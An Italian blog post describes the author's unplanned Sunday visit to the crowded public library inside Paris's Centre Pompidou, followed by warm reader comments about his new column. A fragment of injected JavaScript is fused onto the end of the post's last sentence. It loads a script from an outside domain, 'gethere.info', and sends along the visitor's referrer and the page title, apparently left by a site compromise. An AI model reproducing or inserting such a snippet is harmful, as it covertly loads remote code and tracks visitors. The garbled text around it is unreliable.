L’altro lato del Pompidou

Domenica mattina d’inverno. Parigi si risveglia pigramente. Pochi luoghi apriranno i battenti oggi, per volenterosi e turisti.
Tra questi il Centre Pompidou rimane un approdo sicuro. La fila per la biglietteria è stranamente corta ed invita a concedersi un giro tra Matisse e Picasso.
Decido tuttavia di concedermi prima un caffè, pur sapendo che sarà cattivo e caro.Giro l’angolo: sono tra Rue de Beaubourg e Rue de Renard alla ricerca di un bistrot.
Scopro una nuova fila, questa lunghissima, tre giri di serpentina.
Per entrare dove? Cosa c’è?Perchè una folla si accalca qui invece che all’entrata principale del museo?
Mi informo. E’ l’entrata della Biblioteca Pubblica d’Informazione, meglio nota come la Biblioteca del Pompidou.
Tutta questa gente in fila per entrare in biblioteca di domenica mattina? Roba da non credere.
C’è un evento in programma? Non che si sappia.
Col mio libro sulla Poetica Italiana di Gian Luigi Beccaria in borsa decido di dare una svolta alla mia giornata: è il caso di entrare a studiare (ovvero esplorare).
In fila ci sono persone di tutti i tipi, dagli studenti adolescenti che ascoltano la musica con le cuffie troppo grandi ai padri di famiglia in tenuta sportiva.
Passo il controllo al metal detector e scopro l’altro lato del Pompidou.
I primi tre piani della struttura sono interamente dedicati a questa biblioteca enorme con mille posti disponibili.
E’ un ambiente molto moderno, con le scale mobili e i divanetti colorati. Mediateche, postazioni internet, sale di proiezione.
Come d’obbligo regna il silenzio, anche tra i bambini che leggono i fumetti.
Eppure è un silenzio molto vivace!
Conquisto la mia postazione e apro il mio libro (resterà più di un’ora aperto alla pagina 42). Mi guardo attorno nella sala gremita e vedo un’umanità multietnica concentratissima.
Non resto molto, tre ore forse in tutto, ma il tempo necessario per capire perchè si fa la fila volentieri per entrare qui.
Questa biblioteca è veramente un bel posto.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Post Tagged with , ,
  • Bentrovato, Flavio!
    E’ bello sapere che anche se un po’ più da lontano, continui ad essere con noi facendoci visitare “virtualmente” scorci interessanti di questa affascinante citta’ che e’ Parigi.
    Sto cercando quindi di immaginare padri di famiglia qui in Italia in fila interminabile la domenica mattina per entrare in biblioteca e bambini silenziosi mentre leggono i fumetti .. e proprio non riesco, ahimé. Goditela.
    Bisous.

  • In bocca al lupo per la tua nuova rubrica!

  • Flavio Scaloni

    Grazie ragazzi !
    @ Laura : Inizio così le mie note parigine… mi fa piacere poter dare il mio contributo anche da qui e proporvi un punto di vista alternativo.
    Cercherò aggiornarvi su quanto accade in letteratura, arte, cultura e costume qui nella Ville Lumière…
    @ Cri : Thanks per il set-up… c’est parfait!

  • Valeria Bellobono

    Bello leggere di rue, libri e biblioteche parigine… vorrei vivere una vita parallela ed essere lì, nella tua splendida, inafferrabile, malinconica Paris…

  • beh… io sono sempre qui per un verre de vin e due chiacchiere…

  • Flavio, sai che nel 1800 a Maupassant fu affidata da un giornale una rubrica settimanale che si chiamava “Les dimanches d’un bourgeois de
    Paris”? chissà … potresti chiamarla così 🙂